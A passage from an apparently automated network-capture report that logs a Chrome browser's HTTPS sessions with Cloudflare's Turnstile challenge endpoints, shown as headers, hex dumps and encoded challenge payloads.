1fbibh9RwB7OfvH+Xs8gcHFBPwGxkZGhM2QP4PISZARkk/PCUaPjAaOQlMEywTUyNYV04TJUwdNVMeMmRXJj8nVidhP0cuaSsoc18xP2gzbVN2eTJpOVZPX2BbTlCAemKAiEiIe29be4ZIXW1TZ4psimVRZlxylm9sbn1wemNZZYeJZl57jaJwpGmunoxzo3WXmXOxl3Z1k7KOu4CXwqiSf8e9h4eapK/PiqTDpdOys8e2rqbPmbbW2c27rrC
2024-04-24 13:43:10 UTC	257	IN	Data Raw: 66 62 0d 0a 65 34 4e 34 59 71 61 71 72 6d 75 6b 70 32 53 54 71 35 53 79 6c 71 74 35 72 58 4b 32 75 72 36 2f 75 4c 69 32 6e 4c 57 43 72 71 6a 45 68 61 53 6f 76 70 36 2b 78 6f 71 66 79 4c 79 6c 6f 61 71 4f 6d 4a 53 4d 79 4b 37 49 33 64 57 75 30 72 32 30 32 4c 7a 47 75 35 37 46 6f 73 6e 68 32 37 33 48 71 64 79 71 37 38 37 31 73 4d 43 71 71 37 4b 35 39 37 50 48 37 74 4b 2b 75 63 44 6b 31 4f 48 67 76 75 6a 6d 33 66 7a 74 2f 41 7a 4e 2f 51 66 70 30 51 48 73 37 64 55 46 39 50 48 5a 43 4e 76 31 33 51 7a 59 45 79 4c 76 34 2f 51 47 2f 41 6b 4d 4a 52 6b 75 4b 50 34 7a 44 54 54 71 43 53 4d 55 4c 52 73 5a 47 7a 41 51 4c 76 30 30 2f 54 41 6c 4d 42 67 46 42 30 55 63 4e 79 6c 42 49 44 38 73 50 51 38 78 4d 77 38 30 4c 78 49 7a 52 31 4d 30 55 6c 56 65 56 43 6c 4e 4c 6b 55 Data Ascii: fbe4N4Yqaqrmukp2STq5Sylqt5rXK2ur6/uLi2nLWCrqjEhaSovp6+xoqfyLyloaqOmJSMyK7I3dWu0r202LzGu57Fosnh273Hqdyq7871sMCqq7K597PH7tK+ucDk1OHgvujm3fzt/AzN/Qfp0QHs7dUF9PHZCNv13QzYEyLv4/QG/AkMJRkuKP4zDTTqCSMULRsZGzAQLv00/TAlMBgFB0UcNylBID8sPQ8xMw80LxIzR1M0UlVeVClNLkU
2024-04-24 13:43:10 UTC	345	IN	Data Raw: 31 35 32 0d 0a 66 52 55 51 37 50 46 52 47 4b 69 74 4e 4b 69 34 76 55 6a 38 79 4d 31 56 7a 4d 6a 68 49 52 33 56 32 57 58 5a 75 62 46 64 53 52 48 42 78 59 31 74 54 67 32 56 37 67 33 6c 34 68 30 68 4e 55 59 74 4e 5a 6c 57 50 6d 70 5a 70 57 33 43 55 66 48 79 62 6d 5a 53 59 62 57 36 6a 71 4a 4f 41 6c 59 4b 4f 71 32 61 44 71 36 64 2b 71 49 64 77 6c 34 74 76 71 34 79 63 6e 6e 65 6e 72 49 6d 74 6a 71 56 2f 70 61 43 62 6e 4c 4f 4a 69 6f 75 75 6d 34 36 50 73 63 2b 4f 6c 4b 53 6a 30 64 4b 31 30 73 72 49 73 36 36 67 7a 4d 43 6a 74 37 2f 62 77 64 66 66 31 64 54 6a 70 4b 6d 74 35 36 6e 43 73 65 76 32 38 73 57 33 7a 50 44 59 32 50 66 31 38 50 54 4a 79 67 43 38 37 39 7a 78 33 75 6f 49 77 74 38 4a 37 64 6f 46 34 38 7a 7a 35 38 73 49 36 50 6a 36 30 77 51 4a 35 51 72 71 41 Data Ascii: 152fRUQ7PFRGKitNKi4vUj8yM1VzMjhIR3V2WXZubFdSRHBxY1tTg2V7g3l4h0hNUYtNZlWPmpZpW3CUfHybmZSYbW6jqJOAlYKOq2aDq6d+qIdwl4tvq4ycnnenrImtjqV/paCbnLOJiouum46Psc+OlKSj0dK10srIs66gzMCjt7/bwdff1dTjpKmt56nCsev28sW3zPDY2Pf18PTJygC879zx3uoIwt8J7doF48zz58sI6Pj60wQJ5QrqA
2024-04-24 13:43:10 UTC	346	IN	Data Raw: 31 35 33 0d 0a 6b 78 46 5a 47 46 6b 4a 32 4a 6c 50 56 39 61 4b 31 68 50 4b 31 4a 4f 64 53 78 4b 64 33 52 32 52 6e 78 51 63 6e 46 49 63 45 42 59 64 6b 42 56 68 34 52 71 65 6f 78 6a 59 57 5a 4b 68 34 4e 73 62 49 4e 4f 59 57 35 51 62 6e 65 53 56 32 5a 56 64 4a 57 4d 6a 48 2b 65 6f 4b 4a 68 6c 61 65 4b 68 61 69 6f 68 4b 4e 35 61 47 6d 67 62 47 32 56 6a 59 65 6e 72 62 65 78 74 4b 2b 37 74 5a 79 7a 76 37 6d 68 74 38 4f 39 6e 37 76 48 77 61 53 2f 79 38 57 70 77 38 2f 4a 72 70 47 7a 31 36 57 30 74 38 75 77 75 4e 47 58 33 62 62 6a 75 62 69 6b 6e 64 7a 70 76 61 76 41 76 73 48 77 34 64 76 4a 38 73 6a 44 79 66 6a 6e 74 4d 6a 45 30 37 54 52 41 66 71 33 2f 76 50 61 38 4c 77 42 35 2f 6f 41 34 2b 50 66 42 74 73 45 33 50 37 4d 2f 64 41 53 37 75 66 79 31 42 66 37 2f 52 51 Data Ascii: 153kxFZGFkJ2JlPV9aK1hPK1JOdSxKd3R2RnxQcnFIcEBYdkBVh4RqeoxjYWZKh4NsbINOYW5QbneSV2ZVdJWMjH+eoKJhlaeKhaiohKN5aGmgbG2VjYenrbextK+7tZyzv7mht8O9n7vHwaS/y8Wpw8/JrpGz16W0t8uwuNGX3bbjubikndzpvavAvsHw4dvJ8sjDyfjntMjE07TRAfq3/vPa8LwB5/oA4+PfBtsE3P7M/dAS7ufy1Bf7/RQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49761	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:11 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:11 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 13:43:11 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 2F0/BC3NIE6mA1+NnAgUYA==$7uXnK57Xq+S9mFRfxDxxxA== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 87968558ae670ad7-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:11 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49762	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:11 UTC	776	OUT	GET /cdn-cgi/challenge-platform/h/b/i/879685459c6269e3/1713966190447/vp3T4ue4sM7hYw8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:11 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8796855b7d750a03-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5e 00 00 00 49 08 02 00 00 00 3b 63 06 1a 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR^I;cIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49763	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:12 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/879685459c6269e3/1713966190447/vp3T4ue4sM7hYw8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:12 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:12 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8796855fbc6369e3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5e 00 00 00 49 08 02 00 00 00 3b 63 06 1a 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR^I;cIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49764	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:12 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/879685459c6269e3/1713966190448/a6aceae44c8468ff349a880897d3c52fb1b769f9be6ebd411bda96dd08a8895e/Fd6jCqic8-nVFty HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:12 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 24 Apr 2024 13:43:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-24 13:43:12 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 70 71 7a 71 35 45 79 45 61 50 38 30 6d 6f 67 49 6c 39 50 46 4c 37 47 33 61 66 6d 2d 62 72 31 42 47 39 71 57 33 51 69 6f 69 56 34 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gpqzq5EyEaP80mogIl9PFL7G3afm-br1BG9qW3QioiV4AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-24 13:43:12 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49765	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:13 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 29936 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 16306502cf695e3 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:13 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 36 38 35 34 35 39 63 36 32 36 39 65 33 3d 76 57 43 44 49 2d 54 73 62 41 7a 25 32 62 43 2d 6f 57 32 77 30 56 4f 5a 65 73 30 4f 54 53 55 69 55 65 43 2d 2b 55 46 56 44 43 6b 45 55 56 55 75 2d 55 30 5a 6a 4e 54 63 55 4d 44 56 7a 54 32 55 4b 54 44 6b 57 45 55 52 62 61 55 54 48 54 55 30 77 55 53 44 54 65 42 4e 47 2d 65 32 7a 55 77 44 30 4e 55 58 44 30 50 38 36 56 41 5a 30 77 4b 2b 46 56 36 54 76 46 69 68 33 56 55 6f 44 2d 66 6a 55 59 51 61 33 5a 4a 41 55 32 38 5a 55 32 61 6a 47 55 73 45 55 6e 55 55 68 33 55 4e 68 6b 47 33 58 72 55 71 53 45 44 54 76 5a 6a 41 6a 7a 44 55 36 7a 73 43 2d 5a 62 76 4e 58 30 69 77 69 71 61 6f 55 30 53 4e 55 54 38 38 55 31 54 46 48 55 30 56 64 62 33 58 73 24 69 52 2d 57 75 56 41 63 24 58 52 59 77 48 31 75 43 41 7a 6d 52 Data Ascii: v_879685459c6269e3=vWCDI-TsbAz%2bC-oW2w0VOZes0OTSUiUeC-+UFVDCkEUVUu-U0ZjNTcUMDVzT2UKTDkWEURbaUTHTU0wUSDTeBNG-e2zUwD0NUXD0P86VAZ0wK+FV6TvFih3VUoD-fjUYQa3ZJAU28ZU2ajGUsEUnUUh3UNhkG3XrUqSEDTvZjAjzDU6zsC-ZbvNX0iwiqaoU0SNUT88U1TFHU0Vdb3Xs$iR-WuVAc$XRYwH1uCAzmR
2024-04-24 13:43:13 UTC	13552	OUT	Data Raw: 55 67 24 35 45 37 42 32 59 4e 44 2d 6d 43 50 4e 56 55 32 34 51 6d 67 68 54 6c 55 5a 55 59 55 2d 5a 55 38 55 30 55 32 59 44 6f 64 2d 36 30 35 55 44 44 71 44 55 62 54 24 55 4f 44 71 62 55 31 55 53 44 4e 57 54 59 55 55 5a 54 56 5a 6b 55 32 5a 71 36 54 65 55 74 5a 2d 7a 55 4a 55 46 5a 65 38 55 62 55 71 73 71 45 55 4b 55 56 45 4e 77 54 79 55 53 41 4f 43 54 6f 44 71 45 65 68 55 31 33 47 35 33 2d 55 57 55 4c 5a 32 62 55 4d 55 4d 7a 54 2d 54 33 53 53 5a 4e 49 44 6a 45 33 38 54 41 58 6e 5a 4e 62 54 46 45 35 55 47 34 51 45 54 72 6d 48 5a 32 69 55 57 55 56 55 32 5a 54 73 55 54 43 54 7a 55 6d 55 4d 43 65 37 76 51 45 4d 5a 71 50 6f 69 55 6b 79 49 47 55 35 55 37 7a 71 56 55 41 55 6b 45 2d 57 54 2d 55 6d 44 55 24 54 30 55 76 43 54 7a 54 4a 55 4c 5a 71 4f 54 6e 5a 65 44 Data Ascii: Ug$5E7B2YND-mCPNVU24QmghTlUZUYU-ZU8U0U2YDod-605UDDqDUbT$UODqbU1USDNWTYUUZTVZkU2Zq6TeUtZ-zUJUFZe8UbUqsqEUKUVENwTyUSAOCToDqEehU13G53-UWULZ2bUMUMzT-T3SSZNIDjE38TAXnZNbTFE5UG4QETrmHZ2iUWUVU2ZTsUTCTzUmUMCe7vQEMZqPoiUkyIGU5U7zqVUAUkE-WT-UmDU$T0UvCTzTJULZqOTnZeD
2024-04-24 13:43:13 UTC	350	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:13 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: SRk04XCxvHtTkvH63q6lycfIPI5AHVDp6V9E0GrPxvX3Q2Q5RfndtZSTQpsZ9dL5$0GRudYgvmo3TEhcj5dzjUw== vary: accept-encoding Server: cloudflare CF-RAY: 879685646e8f09f7-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:13 UTC	781	IN	Data Raw: 33 30 36 0d 0a 6d 4a 71 79 76 4a 61 63 6e 36 4f 55 6a 35 65 7a 6d 71 69 6b 6c 72 71 5a 6e 34 61 66 30 62 4f 4b 6f 39 57 76 73 4c 44 59 6d 74 61 76 72 4c 2b 31 33 4c 69 5a 7a 75 62 68 30 4d 65 6c 74 4c 33 59 75 4d 48 4b 37 71 50 67 77 76 44 32 39 74 58 6b 77 72 6a 57 2b 62 75 30 79 74 37 4d 37 64 50 31 2b 76 54 37 76 37 75 38 34 75 58 49 31 74 72 37 79 76 33 69 38 39 41 44 34 51 58 68 32 50 59 5a 48 39 54 75 44 39 66 55 2b 76 33 31 48 75 4c 79 4a 51 4c 36 42 65 55 62 2b 67 34 6e 4d 4f 58 72 41 53 49 50 49 2f 49 53 47 79 2f 33 46 77 73 73 2b 69 34 54 4a 41 45 7a 45 30 67 43 52 69 4d 73 43 54 6f 35 50 77 6b 2f 4a 79 34 4e 4b 42 59 4c 56 54 49 72 57 78 5a 4c 4b 7a 6f 64 50 32 49 58 50 53 4e 62 61 44 63 2f 59 54 67 67 62 79 5a 74 61 6b 4a 78 51 55 70 73 64 6e Data Ascii: 306mJqyvJacn6OUj5ezmqiklrqZn4af0bOKo9WvsLDYmtavrL+13LiZzubh0MeltL3YuMHK7qPgwvD29tXkwrjW+bu0yt7M7dP1+vT7v7u84uXI1tr7yv3i89AD4QXh2PYZH9TuD9fU+v31HuLyJQL6BeUb+g4nMOXrASIPI/ISGy/3Fwss+i4TJAEzE0gCRiMsCTo5Pwk/Jy4NKBYLVTIrWxZLKzodP2IXPSNbaDc/YTggbyZtakJxQUpsdn
2024-04-24 13:43:13 UTC	1369	IN	Data Raw: 63 39 37 0d 0a 7a 79 38 39 50 63 35 66 54 6d 2f 51 4c 65 36 38 66 4d 41 2f 33 69 7a 68 54 55 44 2f 6b 48 2b 42 72 63 2b 50 67 64 45 2f 6e 69 2b 76 6a 64 41 41 6b 6d 49 75 48 71 47 41 45 64 35 2f 41 51 4c 2f 48 7a 49 44 51 56 38 53 4d 63 39 52 77 39 45 68 4d 72 4c 77 45 43 4a 53 59 46 42 69 6b 38 43 51 6f 74 50 41 30 4f 4d 53 59 52 45 6a 55 6d 46 52 59 35 4e 68 6b 61 50 54 59 64 48 6b 41 64 49 53 4a 46 4d 69 55 6d 53 47 59 6c 4b 7a 73 36 61 47 6c 4d 61 57 46 66 53 6b 55 33 59 32 52 6e 64 44 6c 30 57 47 35 32 62 47 74 36 4f 30 42 45 66 6b 42 5a 53 49 4b 4e 67 30 79 47 6b 55 78 51 69 6b 74 69 54 32 6c 53 57 59 5a 52 65 6d 65 4a 58 33 32 67 66 4a 39 61 65 4a 4a 2f 6e 49 6c 6e 69 71 52 2b 68 32 32 6d 67 34 32 65 6e 34 64 30 67 6d 70 31 74 48 4a 37 6c 37 57 6e Data Ascii: c97zy89Pc5fTm/QLe68fMA/3izhTUD/kH+Brc+PgdE/ni+vjdAAkmIuHqGAEd5/AQL/HzIDQV8SMc9Rw9EhMrLwECJSYFBik8CQotPA0OMSYREjUmFRY5NhkaPTYdHkAdISJFMiUmSGYlKzs6aGlMaWFfSkU3Y2RndDl0WG52bGt6O0BEfkBZSIKNg0yGkUxQiktiT2lSWYZRemeJX32gfJ9aeJJ/nIlniqR+h22mg42en4d0gmp1tHJ7l7Wn
2024-04-24 13:43:13 UTC	1369	IN	Data Raw: 55 46 42 64 54 6d 44 4f 44 6b 78 73 2f 2b 44 38 54 73 34 51 55 4d 2b 41 72 76 30 2b 62 30 44 4f 66 77 2b 51 30 59 34 2f 63 46 35 53 50 6d 34 2f 51 6e 36 53 34 61 47 52 30 53 2b 69 2f 38 4d 78 62 7a 44 78 55 61 39 6a 6b 4a 4c 76 63 38 2b 7a 54 2b 47 67 41 69 46 6a 51 68 4b 67 52 4a 47 54 6f 49 54 53 45 77 44 79 6f 51 4e 68 42 52 47 46 67 53 54 69 63 2b 51 56 41 78 51 78 70 6a 4f 53 56 67 4b 54 38 2f 5a 31 74 6e 59 55 70 4e 52 79 31 74 4a 7a 4e 6a 59 6d 4e 54 54 47 6c 49 61 46 68 52 58 56 49 2f 56 56 74 35 51 46 4e 67 69 56 39 70 68 6b 78 48 54 32 64 63 64 47 68 55 63 6d 78 69 59 32 35 53 57 6c 4e 79 58 34 43 55 6a 6c 56 66 65 6f 46 33 63 61 53 49 5a 47 79 62 71 32 47 4a 66 71 47 6f 6c 62 47 45 64 70 46 7a 74 5a 65 38 6c 4c 36 38 75 5a 4f 36 70 4c 75 38 75 Data Ascii: UFBdTmDODkxs/+D8Ts4QUM+Arv0+b0DOfw+Q0Y4/cF5SPm4/Qn6S4aGR0S+i/8MxbzDxUa9jkJLvc8+zT+GgAiFjQhKgRJGToITSEwDyoQNhBRGFgSTic+QVAxQxpjOSVgKT8/Z1tnYUpNRy1tJzNjYmNTTGlIaFhRXVI/VVt5QFNgiV9phkxHT2dcdGhUcmxiY25SWlNyX4CUjlVfeoF3caSIZGybq2GJfqGolbGEdpFztZe8lL68uZO6pLu8u
2024-04-24 13:43:13 UTC	492	IN	Data Raw: 64 37 39 30 52 41 77 50 4e 34 76 37 57 45 2b 2f 6f 31 2b 50 53 43 39 66 7a 33 2b 6e 33 34 78 67 41 49 39 33 37 42 43 51 6b 2f 69 59 4d 49 53 67 65 45 43 63 74 46 65 38 43 4e 77 34 38 47 66 51 58 47 42 30 31 45 6b 49 33 47 54 63 53 43 45 6b 41 53 45 51 74 52 51 6b 6e 43 68 38 76 54 30 4a 57 45 30 70 50 44 44 68 4e 57 54 34 6f 57 7a 67 79 50 7a 49 2b 51 47 4d 7a 51 47 68 70 53 53 5a 62 58 6c 6c 4c 4a 44 73 38 54 31 4e 79 59 45 31 51 4d 6d 55 33 55 46 74 30 62 47 34 31 50 31 70 68 56 34 59 2f 61 55 52 57 51 30 70 62 62 6c 39 39 68 32 68 54 64 6d 78 69 59 57 61 4f 61 56 61 4c 56 70 75 4f 6f 6c 32 68 6a 33 68 68 6f 58 70 69 70 6d 69 62 65 47 5a 36 63 5a 2b 6c 63 49 71 6a 70 33 4f 50 69 5a 6c 32 71 5a 57 74 65 71 79 57 70 48 75 46 73 36 57 44 6e 6f 53 70 68 37 Data Ascii: d790RAwPN4v7WE+/o1+PSC9fz3+n34xgAI937BCQk/iYMISgeECctFe8CNw48GfQXGB01EkI3GTcSCEkASEQtRQknCh8vT0JWE0pPDDhNWT4oWzgyPzI+QGMzQGhpSSZbXllLJDs8T1NyYE1QMmU3UFt0bG41P1phV4Y/aURWQ0pbbl99h2hTdmxiYWaOaVaLVpuOol2hj3hhoXpipmibeGZ6cZ+lcIqjp3OPiZl2qZWteqyWpHuFs6WDnoSph7
2024-04-24 13:43:13 UTC	345	IN	Data Raw: 31 35 32 0d 0a 57 68 72 50 44 52 4f 62 7a 79 46 66 47 4e 42 53 6e 52 36 52 33 6c 34 66 30 6c 2b 58 6e 39 4e 56 6e 2b 55 56 31 42 57 6d 6e 70 58 66 33 6c 61 65 57 4a 79 62 6e 69 6b 67 34 52 39 71 58 35 70 65 71 4a 37 6e 47 39 70 73 4b 71 72 68 6f 53 54 6d 62 6c 32 69 5a 69 63 69 70 65 63 6e 72 75 77 74 4d 69 48 70 4a 65 7a 66 6f 32 37 30 4b 33 46 72 61 71 68 6f 4b 37 46 79 61 36 77 6b 64 7a 53 7a 72 43 2f 33 74 36 75 77 4f 57 75 30 4d 58 6b 35 38 75 2f 6f 2b 44 49 30 4e 4b 72 32 2b 43 39 34 65 6a 5a 73 39 6e 75 7a 39 44 6f 38 4c 36 2f 34 74 66 43 77 2b 62 58 78 73 66 71 35 38 72 4c 37 75 66 4f 7a 2f 48 4f 30 74 50 32 34 39 62 58 2b 52 6a 57 33 4f 7a 72 47 68 76 39 47 78 4d 52 2b 2f 62 6f 46 51 7a 64 41 42 34 67 43 69 41 6f 48 68 30 73 37 50 48 31 4d 50 45 Data Ascii: 152WhrPDRObzyFfGNBSnR6R3l4f0l+Xn9NVn+UV1BWmnpXf3laeWJybnikg4R9qX5peqJ7nG9psKqrhoSTmbl2iZicipecnruwtMiHpJezfo270K3FraqhoK7Fya6wkdzSzrC/3t6uwOWu0MXk58u/o+DI0NKr2+C94ejZs9nuz9Do8L6/4tfCw+bXxsfq58rL7ufOz/HO0tP249bX+RjW3OzrGhv9GxMR+/boFQzdAB4gCiAoHh0s7PH1MPE
2024-04-24 13:43:13 UTC	598	IN	Data Raw: 32 34 66 0d 0a 72 65 56 49 35 4f 45 35 30 57 33 6b 38 58 34 53 4a 58 6b 6c 34 52 30 35 39 58 49 46 66 54 47 74 4d 6a 30 32 59 56 4a 4b 54 64 6e 75 64 62 61 42 63 65 58 46 57 68 48 35 78 63 36 4f 64 68 57 53 72 61 36 75 65 6a 33 36 65 71 57 74 2f 72 33 53 61 72 59 2b 73 6e 62 43 73 65 4a 36 55 67 48 79 52 73 6e 6d 41 65 36 42 39 68 5a 62 4a 68 5a 6d 2f 70 4a 43 4c 6b 38 4b 4a 6b 4a 61 71 71 72 65 32 6c 4c 36 38 76 4c 32 32 32 65 4f 69 73 73 57 6f 76 2b 71 34 34 4d 62 67 34 75 4f 76 30 64 32 76 72 63 62 6a 38 38 2f 52 36 50 79 35 2b 39 72 37 31 39 57 36 30 4c 67 42 39 73 6a 7a 78 2f 66 56 33 75 55 53 38 75 6a 73 30 77 33 6d 34 2b 2f 6f 7a 42 54 6d 31 42 77 4a 39 2f 48 32 33 53 45 55 48 76 30 6f 34 43 51 6d 42 4f 63 72 2b 6a 44 70 4a 69 62 38 4a 50 51 4a 46 Data Ascii: 24freVI5OE50W3k8X4SJXkl4R059XIFfTGtMj02YVJKTdnudbaBceXFWhH5xc6OdhWSra6uej36eqWt/r3SarY+snbCseJ6UgHyRsnmAe6B9hZbJhZm/pJCLk8KJkJaqqre2lL68vL222eOissWov+q44Mbg4uOv0d2vrcbj88/R6Py5+9r719W60LgB9sjzx/fV3uUS8ujs0w3m4+/ozBTm1BwJ9/H23SEUHv0o4CQmBOcr+jDpJib8JPQJF
2024-04-24 13:43:13 UTC	516	IN	Data Raw: 31 66 64 0d 0a 59 6d 4d 42 4d 47 39 44 30 4a 43 6a 45 43 44 51 34 32 42 68 34 38 42 68 74 4e 51 51 64 41 55 69 6b 6e 4c 68 42 54 56 68 41 5a 52 6a 6b 74 4b 45 67 57 49 42 77 66 4d 53 52 53 59 6d 56 63 56 54 67 71 51 6b 78 70 53 32 70 6f 59 79 77 79 63 6a 4a 4c 56 58 52 76 5a 6d 5a 76 65 48 70 2f 62 6e 39 2b 63 31 43 44 67 6e 56 36 68 34 5a 36 64 6e 75 4e 63 46 75 4f 6a 6d 70 50 6b 35 4b 45 69 57 4e 53 55 34 70 57 56 32 71 58 6c 6e 4e 33 6f 5a 75 65 6d 61 57 66 68 70 32 70 6f 34 75 68 72 61 65 4a 70 62 47 72 6a 71 32 6e 68 48 4a 75 71 4a 57 66 64 36 79 68 73 34 79 61 67 4b 68 2f 74 4c 65 36 68 36 4f 63 6a 71 75 77 7a 70 2b 74 70 4a 57 6b 79 5a 57 5a 30 70 61 71 76 73 65 31 74 4d 44 44 33 4e 44 6d 72 37 69 37 75 4d 6e 6a 77 37 75 